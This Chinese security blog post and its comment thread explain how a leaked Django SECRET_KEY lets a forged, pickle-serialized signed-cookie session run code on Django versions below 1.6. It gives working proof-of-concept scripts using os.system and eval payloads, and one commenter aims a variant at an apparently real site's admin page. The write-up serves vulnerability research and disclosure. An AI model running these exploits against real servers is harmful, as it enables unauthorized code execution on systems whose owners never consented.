从django的SECRET_KEY到代码执行

xxlegend 2015-09-08 18:29:00

0x00 背景


最近审查代码发现某些产品在登录的JS代码中泄露了SECRET_KEY,将该值作为密码加密的盐,这样就暴露了加密salt不太好吧,更重要的是对django的安全造成了极大的威胁。

0x01 SECRET_KEY作用


SECTET_KEYdjanog中使用非常广泛,基本上涉及到安全,加密等的地方都用到了,下面列举一些常见情景:

1,json object的签名

2,加密函数,如密码重置,表单,评论,csrfkeysession数据

这里面就要重点讲到session的问题,在这里使用不当就会导致代码执行

0x02 代码执行


2.1 settings的session设置

django默认存储session到数据库中,但是可能会比较慢,就会使用到缓存,文件,还有cookie等方式,如果采用了cookie机制则有可能代码执行,settings配置如下:

SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'

2.2 django 1.6以下

django1.6以下,session默认是采用pickle执行序列号操作,在1.6及以上版本默认采用json序列化。代码执行只存在于使用pickle序列话的操作中。

2.3 session处理流程

可以简单的分为两部分,process_requestprocess_response,前者负责选择session引擎,初始化cookie数据。见代码

class SessionMiddleware(object):
    def process_request(self, request):
        engine = import_module(settings.SESSION_ENGINE)
        session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)
        request.session = engine.SessionStore(session_key)

process_response则是处理返回给用户的cookie信息,比如修改过期时间等。在将session存入缓存后,可能在某个操作中会用到session信息,这个时候就会通过反序列化操作从缓存中取,如果反序列话引擎是采用pickle机制的话就存在代码执行。反序列化的代码位于django.core.signing.py中,这个模块主要是一些签名,加解密操作,同时也包含序列化和反序列化,默认采用JSON引擎,下面是反序列话loads的代码:

def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
    """
    Reverse of dumps(), raises BadSignature if signature fails
    """
    base64d = smart_str(
        TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))
    decompress = False
    if base64d[0] == '.':
        # It's compressed; uncompress it first
        base64d = base64d[1:]
        decompress = True
    data = b64_decode(base64d)
    if decompress:
        data = zlib.decompress(data)
    return serializer().loads(data)

2.4 构造POC

import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies


class Run(object):
    def __reduce__(self):
        return (os.system,('touch /tmp/xxlegend.log',))

sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess

import urllib2
import cookielib

url = 'http://10.24.35.228:8000/favicon.ico'
headers = {'Cookie':'sessionid="%s"' %(sess)}
request = urllib2.Request(url,headers = headers)
response = urllib2.urlopen(request)
print response.read()

通过序列化Run类,实现创建一个文件的操作,在反序列化的时候执行这个操作。执行代码完成可看到在/tmp目录创建xxlegend.log文件,同时web500错误。

0x03 总结


利用条件总结起来就是这么几句话,首先泄露了SECRET_KEY,其次session引擎采用了signed_cookies,django版本小于1.6即存在代码执行问题。同样的问题也存在于python的其他web框架中,如flaskbottle

评论

X

xsser 2015-09-08 19:48:10

求案例上乌云

夸父追日 2015-09-08 20:46:44

@xsser 知识库上一定要这样的牛逼文章才能通过么? %>.<% 文章没过也告诉一下呀~

S

sin 2015-09-09 00:48:22

6666

瞌睡龙 2015-09-09 01:11:13

@夸父追日 骚年莫要慌,你的文章天亮发

夸父追日 2015-09-09 14:30:38

@瞌睡龙 虽然下午了还没发~ 哈哈赶紧写篇二进制文章压压惊

宁采臣 2015-09-09 23:30:14

找了很多版本并没有signed_cookies.PickleSerializer这个类
反而这样就可以了:from django.contrib.sessions.serializers import PickleSerializer
令其执行eval("sleep(10)") 并没有找到有效的网址
自己搭了个最简单的mysite工程运行POC也并没有延迟的效果,版本是1.5.5
不知道还要再配置什么 求楼主提示
附上我的代码:
# coding=utf-8
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
from django.contrib.sessions.serializers import PickleSerializer
import requests
import time
class Run(object):
def __reduce__(self):
import time
return (eval,('time.sleep(10)',))
sess = signing.dumps(Run(), serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess
headers = {
'Cookie':'sessionid="%s"' % sess
}
s = time.time()
resp = requests.get("http://www.ieok.com/admin/", headers=headers)
e = time.time()
print e -s

X

xxlegend 2015-09-10 10:00:53

@宁采臣 两个问题,1:这是github上1.5版本django的源码地址,https://github.com/django/django/tree/stable/1.5.x/django/contrib/sessions/backends 有signed_cookies.py
2:"eval,('time.sleep(10)')" 反序列化的过程会报time不存在吧,换成这个In [5]: class run1(object):
...: def __reduce__(self):
...: return (os.system, ('sleep 5',))

M

ModNar 2015-09-10 16:06:29

一般会泄露成什么形式?什么需求场景下可能泄露?求实际案例?

X

xxlegend 2015-09-10 17:47:48

@ModNar 可能一些公开的源码网址,如githhub,stackoverflow等,还有就是利用任意文件读取,下载,ssrf等漏洞去获取

宁采臣 2015-09-10 19:14:33

@xxlegend 感谢楼主看了我排版这么乱的代码 还解答了我的问题 -_- %00
signed_cookies.py里面只有SessionStore这个类,而代码中用到了serializer=signed_cookies.PickleSerializer,会报错说没有PickleSerializer
另外time模块在__reduce__函数里面有包含啦,我在另外的代码上只用cPickle是有效的
我觉得我应该是环境没搭好

X

xxlegend 2015-09-11 10:47:30

@宁采臣 1.5版本上,SERIALIZER是从settings.py引入的,https://github.com/django/django/blob/stable/1.5.x/django/conf/global_settings.py 可查看SessionBase的实现,__init__函数如下
def __init__(self, session_key=None):
self._session_key = session_key
self.accessed = False
self.modified = False
self.serializer = import_by_path(settings.SESSION_SERIALIZER)
详情看
https://github.com/django/django/blob/stable/1.5.x/django/contrib/sessions/backends/base.py
把serializer 设为'django.contrib.sessions.serializers.PickleSerializer' 应该就ok了

U

uhayate 2015-09-11 15:29:11

肿么回事,加密的盐2333

L

liyang 2015-09-18 21:18:27

可以参考这个 Python Pickle反序列化带来的安全问题

日出东方 2015-11-27 11:55:23

这个poc 怎么用?直接用python执行吗?还是得搭建django服务器。。。

路人甲 2015-12-09 10:44:25

adfadsf

X

xxlegend

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

Android 文章:89 篇
SQL注入 文章:39 篇
逻辑漏洞 文章:15 篇
PHP安全 文章:45 篇
事件分析 文章:223 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录